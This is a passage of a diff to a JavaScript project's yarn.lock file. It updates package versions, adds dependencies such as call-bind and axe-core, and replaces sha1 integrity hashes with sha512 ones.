   resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
+  integrity sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==
 
-array-includes@^3.0.3, array-includes@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.1.tgz#cdd67e6852bdf9c1215460786732255ed2459348"
-  integrity sha512-c2VXaCHl7zPsvpkFsw4nxvFie4fh1ur9bpcgsVkIjqn0H/Xwdg+7fv3n2r/isyS8EBj5b06M9kHyZuIr4El6WQ==
+array-buffer-byte-length@^1.0.1, array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0"
-    is-string "^1.0.5"
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
+
+array-includes@^3.1.6, array-includes@^3.1.8, array-includes@^3.1.9:
+  version "3.1.9"
+  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.9.tgz#1f0ccaa08e90cdbc3eb433210f903ad0f17c3f3a"
+  integrity sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.24.0"
+    es-object-atoms "^1.1.1"
+    get-intrinsic "^1.3.0"
+    is-string "^1.1.1"
+    math-intrinsics "^1.1.0"
 
 array-union@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/array-union/-/array-union-1.0.2.tgz#9a34410e4f4e3da23dea375be5be70f24778ec39"
-  integrity sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=
+  integrity sha512-Dxr6QJj/RdU/hCaBjOfxW+q6lyuVE6JFWIrAUpuOOhoJJoQ99cUn3igRaHVB5P9WrgFVN0FfArM3x0cueOU8ng==
   dependencies:
     array-uniq "^1.0.1"
 
 array-uniq@^1.0.1:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/array-uniq/-/array-uniq-1.0.3.tgz#af6ac877a25cc7f74e058894753858dfdb24fdb6"
-  integrity sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=
+  integrity sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q==
 
 array-unique@^0.3.2:
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
-  integrity sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=
+  integrity sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==
 
-array.prototype.flat@^1.2.1:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.2.3.tgz#0de82b426b0318dbfdb940089e38b043d37f6c7b"
-  integrity sha512-gBlRZV0VSmfPIeWfuuy56XZMvbVfbEUnOXUvt3F/eUUUSyzlgLxhEX4YAEpxNAogRGehPSnfXyPtYyKAhkzQhQ==
+array.prototype.findlast@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz#3e4fbcb30a15a7f5bf64cf2faae22d139c2e4904"
+  integrity sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==
   dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.0-next.1"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.findlastindex@^1.2.6:
+  version "1.2.6"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz#cfa1065c81dcb64e34557c9b81d012f6a421c564"
+  integrity sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.4"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    es-shim-unscopables "^1.1.0"
+
+array.prototype.flat@^1.3.1, array.prototype.flat@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz#534aaf9e6e8dd79fb6b9a9917f839ef1ec63afe5"
+  integrity sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flatmap@^1.3.2, array.prototype.flatmap@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz#712cc792ae70370ae40586264629e33aab5dd38b"
+  integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.tosorted@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz#fe954678ff53034e717ea3352a03f0b0b86f7ffc"
+  integrity sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    es-shim-unscopables "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
 
 arrify@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
-  integrity sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=
+  integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==
 
 assign-symbols@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
-  integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
+  integrity sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==
 
-ast-types-flow@0.0.7, ast-types-flow@^0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.7.tgz#f70b735c6bca1a5c9c22d982c3e39e7feba3bdad"
-  integrity sha1-9wtzXGvKGlycItmCw+Oef+ujva0=
+ast-types-flow@^0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.8.tgz#0a85e1c92695769ac13a428bb653e7538bea27d6"
+  integrity sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==
 
 astral-regex@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-1.0.0.tgz#6c8c3fb827dd43ee3918f27b82782ab7658a6fd9"
   integrity sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==
 
+async-function@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/async-function/-/async-function-1.0.0.tgz#509c9fca60eaf85034c6829838188e4e4c8ffb2b"
+  integrity sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==
+
 atob@^2.1.2:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
   integrity sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==
 
-axobject-query@^2.0.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-2.1.2.tgz#2bdffc0371e643e5f03ba99065d5179b9ca79799"
-  integrity sha512-ICt34ZmrVt8UQnvPl6TVyDTkmhXmAyAT4Jh5ugfGUX4MOrZ+U/ZY6/sdylRw3qGNr9Ub5AJsaHeDMzNLehRdOQ==
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
+axe-core@^4.10.0:
+  version "4.10.3"
+  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.10.3.tgz#04145965ac7894faddbac30861e5d8f11bfd14fc"
+  integrity sha512-Xm7bpRXnDSX2YE2YFfBk2FnF0ep6tmG7xPh8iHee8MIcrgq762Nkce856dYtJYLkuIoYZvGfTs/PbZhideTcEg==
+
+axobject-query@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-4.1.0.tgz#28768c76d0e3cff21bc62a9e2d0b6ac30042a1ee"
+  integrity sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==
 
 babel-code-frame@^6.22.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
-  integrity sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=
+  integrity sha512-XqYMR2dfdGMW+hd0IUZ2PwK+fGeFkOxZJ0wY+JaQAHzt1Zx8LcvpiZD2NiGkEG8qx0CfkAOr5xt76d1e8vG90g==
   dependencies:
     chalk "^1.1.3"
     esutils "^2.0.2"
@@ -333,15 +427,15 @@ babel-eslint@^10.0.1:
 babel-runtime@^6.23.0, babel-runtime@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.26.0.tgz#965c7058668e82b55d7bfe04ff2337bc8b5647fe"
-  integrity sha1-llxwWGaOgrVde/4E/yM3vItWR/4=
+  integrity sha512-ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g==
   dependencies:
     core-js "^2.4.0"
     regenerator-runtime "^0.11.0"
 
 balanced-match@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
-  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
 
 base@^0.11.1:
   version "0.11.2"
@@ -359,12 +453,12 @@ base@^0.11.1:
 boolify@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/boolify/-/boolify-1.0.1.tgz#b5c09e17cacd113d11b7bb3ed384cc012994d86b"
-  integrity sha1-tcCeF8rNET0Rt7s+04TMASmU2Gs=
+  integrity sha512-ma2q0Tc760dW54CdOyJjhrg/a54317o1zYADQJFgperNGKIKgAUGIcKnuMiff8z57+yGlrGNEt4lPgZfCgTJgA==
 
 brace-expansion@^1.1.7:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
-  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  version "1.1.12"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.12.tgz#ab9b454466e5a8cc3a187beaad580412a9c5b843"
+  integrity sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==
   dependencies:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
@@ -386,9 +480,9 @@ braces@^2.3.1:
     to-regex "^3.0.1"
 
 buffer-from@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.1.tgz#32713bc028f75c02fdb710d7c7bcec1f2c6070ef"
-  integrity sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5"
+  integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
 
 cache-base@^1.0.1:
   version "1.0.1"
@@ -405,36 +499,62 @@ cache-base@^1.0.1:
     union-value "^1.0.0"
     unset-value "^1.0.0"
 
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
+  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.7, call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3, call-bound@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a"
+  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
+  dependencies:
+    call-bind-apply-helpers "^1.0.2"
+    get-intrinsic "^1.3.0"
+
 caller-callsite@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/caller-callsite/-/caller-callsite-2.0.0.tgz#847e0fce0a223750a9a027c54b33731ad3154134"
-  integrity sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=
+  integrity sha512-JuG3qI4QOftFsZyOn1qq87fq5grLIyk1JYd5lJmdA+fG7aQ9pA/i3JIJGcO3q0MrRcHlOt1U+ZeHW8Dq9axALQ==
   dependencies:
     callsites "^2.0.0"
 
 caller-path@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-0.1.0.tgz#94085ef63581ecd3daa92444a8fe94e82577751f"
-  integrity sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=
+  integrity sha512-UJiE1otjXPF5/x+T3zTnSFiTOEmJoGTD9HmBoxnCUwho61a2eSNn/VwtwuIBDAo2SEOv1AJ7ARI5gCmohFLu/g==
   dependencies:
     callsites "^0.2.0"
 
 caller-path@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/caller-path/-/caller-path-2.0.0.tgz#468f83044e369ab2010fac5f06ceee15bb2cb1f4"
-  integrity sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=
+  integrity sha512-MCL3sf6nCSXOwCTzvPKhN18TU7AHTvdtam8DAogxcrJ8Rjfbbg7Lgng64H9Iy+vUV6VGFClN/TyxBkAebLRR4A==
   dependencies:
     caller-callsite "^2.0.0"
 
 callsites@^0.2.0:
   version "0.2.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-0.2.0.tgz#afab96262910a7f33c19a5775825c69f34e350ca"
-  integrity sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=
+  integrity sha512-Zv4Dns9IbXXmPkgRRUjAaJQgfN4xX5p6+RQFhWUqscdvvK2xK/ZL8b3IXIJsj+4sD+f24NwnWy2BY8AJ82JB0A==
 
 callsites@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/callsites/-/callsites-2.0.0.tgz#06eb84f00eea413da86affefacbffb36093b3c50"
-  integrity sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA=
+  integrity sha512-ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ==
 
 callsites@^3.0.0:
   version "3.1.0"
@@ -444,7 +564,7 @@ callsites@^3.0.0:
 camelcase-keys@^4.1.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-4.2.0.tgz#a2aa5fb1af688758259c32c141426d78923b9b77"
-  integrity sha1-oqpfsa9oh1glnDLBQUJteJI7m3c=
+  integrity sha512-Ej37YKYbFUI8QiYlvj9YHb6/Z60dZyPJW0Cs8sFilMbd2lP0bw3ylAq9yJkK4lcTA2dID5fG8LjmJYbO7kWb7Q==
   dependencies:
     camelcase "^4.1.0"
     map-obj "^2.0.0"
@@ -453,7 +573,7 @@ camelcase-keys@^4.1.0:
 camelcase@^4.1.0:
   version "4.1.0"
   resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-4.1.0.tgz#d545635be1e33c542649c69173e5de6acfae34dd"
-  integrity sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=
+  integrity sha512-FxAv7HpHrXbh3aPo4o2qxHay2lkLY3x5Mw3KeE4KQE8ysVfziWeRZDwcjauvwBSGEC/nXUPzZy8zeh4HokqOnw==
 
 chalk@2.3.0:
   version "2.3.0"
@@ -467,7 +587,7 @@ chalk@2.3.0:
 chalk@^1.0.0, chalk@^1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
+  integrity sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==
   dependencies:
     ansi-styles "^2.2.1"
     escape-string-regexp "^1.0.2"
@@ -487,7 +607,7 @@ chalk@^2.0.0, chalk@^2.0.1, chalk@^2.1.0, chalk@^2.3.1, chalk@^2.4.1, chalk@^2.4
 chardet@^0.4.0:
   version "0.4.2"
   resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.4.2.tgz#b5473b33dc97c424e5d98dc87d55d4d8a29c8bf2"
-  integrity sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=
+  integrity sha512-j/Toj7f1z98Hh2cYo2BVr85EpIRWqUi7rtRSGxh/cqUjqrnJe9l9UE7IUGd2vQ2p+kSHLkSzObQPZPLUC6TQwg==
 
 chardet@^0.7.0:
   version "0.7.0"
@@ -517,14 +637,14 @@ class-utils@^0.3.5:
 cli-cursor@^2.0.0, cli-cursor@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz#b35dac376479facc3e94747d41d0d0f5238ffcb5"
-  integrity sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=
+  integrity sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==
   dependencies:
     restore-cursor "^2.0.0"
 
 cli-truncate@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/cli-truncate/-/cli-truncate-0.2.1.tgz#9f15cfbb0705005369216c626ac7d05ab90dd574"
-  integrity sha1-nxXPuwcFAFNpIWxiasfQWrkN1XQ=
+  integrity sha512-f4r4yJnbT++qUPI9NR4XLDLq41gQ+uqnPItWG0F5ZkehuNiTTa3EY0S4AqTSUOeJ7/zU41oWPQSNkW5BqPL9bg==
   dependencies:
     slice-ansi "0.0.4"
     string-width "^1.0.1"
@@ -537,7 +657,7 @@ cli-width@^2.0.0:
 cliui@^3.2.0:
   version "3.2.0"
   resolved "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz#120601537a916d29940f934da3b48d585a39213d"
-  integrity sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=
+  integrity sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==
   dependencies:
     string-width "^1.0.1"
     strip-ansi "^3.0.1"
@@ -546,17 +666,17 @@ cliui@^3.2.0:
 co@^4.6.0:
   version "4.6.0"
   resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
-  integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=
+  integrity sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==
 
 code-point-at@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
+  integrity sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==
 
 collection-visit@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
+  integrity sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==
   dependencies:
     map-visit "^1.0.0"
     object-visit "^1.0.0"
@@ -571,27 +691,27 @@ color-convert@^1.9.0:
 color-name@1.1.3:
   version "1.1.3"
   resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
+  integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
 
-commander@^2.11.0, commander@^2.14.1, commander@^2.9.0:
+commander@^2.14.1, commander@^2.9.0:
   version "2.20.3"
   resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
   integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
 
 common-tags@^1.4.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937"
-  integrity sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.2.tgz#94ebb3c076d26032745fd54face7f688ef5ac9c6"
+  integrity sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==
 
 component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.1.tgz#ef1d5796f7d93f135ee6fb684340b26403c97d17"
+  integrity sha512-T0+barUSQRTUQASh8bx02dl+DhF54GtIDY13Y3m9oWTklKbb3Wv974meRpeZ3lp1JpLVECWWNHC4vaG2XHXouQ==
 
 concat-map@0.0.1:
   version "0.0.1"
   resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+  integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
 
 concat-stream@^1.6.0:
   version "1.6.2"
@@ -604,34 +724,24 @@ concat-stream@^1.6.0:
     typedarray "^0.0.6"
 
 confusing-browser-globals@^1.0.5:
-  version "1.0.9"
-  resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.9.tgz#72bc13b483c0276801681871d4898516f8f54fdd"
-  integrity sha512-KbS1Y0jMtyPgIxjO7ZzMAuUpAKMt1SzCL9fsrKsX6b0zJPTaT0SiSPmewwVZg9UAO83HVIlEhZF84LIjZ0lmAw==
-
-contains-path@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/contains-path/-/contains-path-0.1.0.tgz#fe8cf184ff6670b6baef01a9d4861a5cbec4120a"
-  integrity sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=
+  version "1.0.11"
+  resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz#ae40e9b57cdd3915408a2805ebd3a5585608dc81"
